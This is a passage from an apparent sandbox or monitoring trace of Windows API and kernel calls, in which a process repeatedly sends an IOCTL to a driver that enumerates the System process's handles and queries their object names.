(Object=0xfffffa8002277340) returned 0x2 [0135.313] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.313] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.313] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.313] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.313] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.313] PsAcquireProcessExitSynchronization () returned 0x0 [0135.313] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.313] ObReferenceObjectByHandle (in: Handle=0xffffffff80000934, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800231b5f0, HandleInformation=0x0) returned 0x0 [0135.313] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.313] PsReleaseProcessExitSynchronization () returned 0x2 [0135.313] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.313] ObQueryNameString (in: Object=0xfffffa800231b5f0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.313] ObfDereferenceObject (Object=0xfffffa800231b5f0) returned 0x2 [0135.314] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.314] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.314] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.314] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.314] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.314] PsAcquireProcessExitSynchronization () returned 0x0 [0135.314] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.314] ObReferenceObjectByHandle (in: Handle=0xffffffff80000938, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003732a00, HandleInformation=0x0) returned 0x0 [0135.314] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.314] PsReleaseProcessExitSynchronization () returned 0x2 [0135.314] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.314] ObQueryNameString (in: Object=0xfffffa8003732a00, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.314] ObfDereferenceObject (Object=0xfffffa8003732a00) returned 0x2 [0135.314] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.314] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.314] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.315] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.315] PsAcquireProcessExitSynchronization () returned 0x0 [0135.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.315] ObReferenceObjectByHandle (in: Handle=0xffffffff8000093c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002125f20, HandleInformation=0x0) returned 0x0 [0135.315] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.315] PsReleaseProcessExitSynchronization () returned 0x2 [0135.315] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.315] ObQueryNameString (in: Object=0xfffffa8002125f20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.315] ObfDereferenceObject (Object=0xfffffa8002125f20) returned 0x2 [0135.315] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.315] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.315] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.315] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.315] PsAcquireProcessExitSynchronization () returned 0x0 [0135.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.315] ObReferenceObjectByHandle (in: Handle=0xffffffff80000940, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019e2e60, HandleInformation=0x0) returned 0x0 [0135.315] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.315] PsReleaseProcessExitSynchronization () returned 0x2 [0135.315] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.315] ObQueryNameString (in: Object=0xfffffa80019e2e60, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.315] ObfDereferenceObject (Object=0xfffffa80019e2e60) returned 0x2 [0135.315] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.315] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.315] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.315] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.315] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.315] PsAcquireProcessExitSynchronization () returned 0x0 [0135.315] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.315] ObReferenceObjectByHandle (in: Handle=0xffffffff80000950, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024f69a0, HandleInformation=0x0) returned 0x0 [0135.315] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.315] PsReleaseProcessExitSynchronization () returned 0x2 [0135.316] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.316] ObQueryNameString (in: Object=0xfffffa80024f69a0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.316] ObfDereferenceObject (Object=0xfffffa80024f69a0) returned 0x2 [0135.316] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.316] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.316] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1ec05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0135.316] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.316] PsAcquireProcessExitSynchronization () returned 0x0 [0135.316] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.316] ObReferenceObjectByHandle (in: Handle=0xffffffff8000095c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80038f6f20, HandleInformation=0x0) returned 0x0 [0135.316] ObfDereferenceObject (Object=0xfffffa80038f6f20) returned 0x1 [0135.316] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.316] PsReleaseProcessExitSynchronization () returned 0x2 [0135.316] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.316] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.316] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.316] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.316] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.316] PsAcquireProcessExitSynchronization () returned 0x0 [0135.316] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.316] ObReferenceObjectByHandle (in: Handle=0xffffffff8000096c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80033f3830, HandleInformation=0x0) returned 0x0 [0135.316] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.316] PsReleaseProcessExitSynchronization () returned 0x2 [0135.316] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.316] ObQueryNameString (in: Object=0xfffffa80033f3830, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.316] ObfDereferenceObject (Object=0xfffffa80033f3830) returned 0x2 [0135.316] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.316] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.316] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.316] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.316] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.316] PsAcquireProcessExitSynchronization () returned 0x0 [0135.316] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.317] ObReferenceObjectByHandle (in: Handle=0xffffffff80000970, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80033f3bf0, HandleInformation=0x0) returned 0x0 [0135.317] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.317] PsReleaseProcessExitSynchronization () returned 0x2 [0135.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.317] ObQueryNameString (in: Object=0xfffffa80033f3bf0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.317] ObfDereferenceObject (Object=0xfffffa80033f3bf0) returned 0x2 [0135.317] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.317] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.317] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.317] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.317] PsAcquireProcessExitSynchronization () returned 0x0 [0135.317] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.317] ObReferenceObjectByHandle (in: Handle=0xffffffff80000978, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f97930, HandleInformation=0x0) returned 0x0 [0135.317] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.317] PsReleaseProcessExitSynchronization () returned 0x2 [0135.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.317] ObQueryNameString (in: Object=0xfffffa8002f97930, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.317] ObfDereferenceObject (Object=0xfffffa8002f97930) returned 0x2 [0135.317] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.317] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.317] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.317] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.317] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.317] PsAcquireProcessExitSynchronization () returned 0x0 [0135.317] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.317] ObReferenceObjectByHandle (in: Handle=0xffffffff80000980, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80027e3900, HandleInformation=0x0) returned 0x0 [0135.317] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.317] PsReleaseProcessExitSynchronization () returned 0x2 [0135.317] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.317] ObQueryNameString (in: Object=0xfffffa80027e3900, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.317] ObfDereferenceObject (Object=0xfffffa80027e3900) returned 0x2 [0135.317] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.317] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.318] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.318] PsAcquireProcessExitSynchronization () returned 0x0 [0135.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.318] ObReferenceObjectByHandle (in: Handle=0xffffffff80000988, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002508a20, HandleInformation=0x0) returned 0x0 [0135.318] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.318] PsReleaseProcessExitSynchronization () returned 0x2 [0135.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.318] ObQueryNameString (in: Object=0xfffffa8002508a20, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.318] ObfDereferenceObject (Object=0xfffffa8002508a20) returned 0x2 [0135.318] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.318] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.318] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.318] PsAcquireProcessExitSynchronization () returned 0x0 [0135.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.318] ObReferenceObjectByHandle (in: Handle=0xffffffff8000098c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037b4510, HandleInformation=0x0) returned 0x0 [0135.318] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.318] PsReleaseProcessExitSynchronization () returned 0x2 [0135.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.318] ObQueryNameString (in: Object=0xfffffa80037b4510, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.318] ObfDereferenceObject (Object=0xfffffa80037b4510) returned 0x2 [0135.318] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.318] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.318] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.318] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.318] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.318] PsAcquireProcessExitSynchronization () returned 0x0 [0135.318] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.318] ObReferenceObjectByHandle (in: Handle=0xffffffff8000099c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214af20, HandleInformation=0x0) returned 0x0 [0135.318] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.318] PsReleaseProcessExitSynchronization () returned 0x2 [0135.318] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.319] ObQueryNameString (in: Object=0xfffffa800214af20, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.319] ObfDereferenceObject (Object=0xfffffa800214af20) returned 0x2 [0135.319] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.319] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.319] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.319] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.319] PsAcquireProcessExitSynchronization () returned 0x0 [0135.319] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.319] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800235e050, HandleInformation=0x0) returned 0x0 [0135.319] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.319] PsReleaseProcessExitSynchronization () returned 0x2 [0135.319] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.319] ObQueryNameString (in: Object=0xfffffa800235e050, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.319] ObfDereferenceObject (Object=0xfffffa800235e050) returned 0x2 [0135.319] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.319] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.319] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.319] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.319] PsAcquireProcessExitSynchronization () returned 0x0 [0135.319] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.319] ObReferenceObjectByHandle (in: Handle=0xffffffff800009a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80033f9050, HandleInformation=0x0) returned 0x0 [0135.319] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.319] PsReleaseProcessExitSynchronization () returned 0x2 [0135.319] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.319] ObQueryNameString (in: Object=0xfffffa80033f9050, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.319] ObfDereferenceObject (Object=0xfffffa80033f9050) returned 0x2 [0135.319] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.319] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.319] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.319] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.319] PsAcquireProcessExitSynchronization () returned 0x0 [0135.319] KeStackAttachProcess (in: 